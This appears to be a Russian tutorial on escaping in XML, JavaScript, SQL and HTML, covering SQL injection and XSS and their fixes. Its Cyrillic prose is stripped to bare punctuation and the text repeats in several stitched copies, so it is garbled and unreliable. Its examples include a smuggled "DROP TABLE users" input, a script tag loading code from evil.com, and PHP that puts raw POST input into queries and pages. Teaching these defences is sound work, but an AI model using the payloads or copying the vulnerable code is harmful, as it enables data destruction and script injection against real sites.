<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
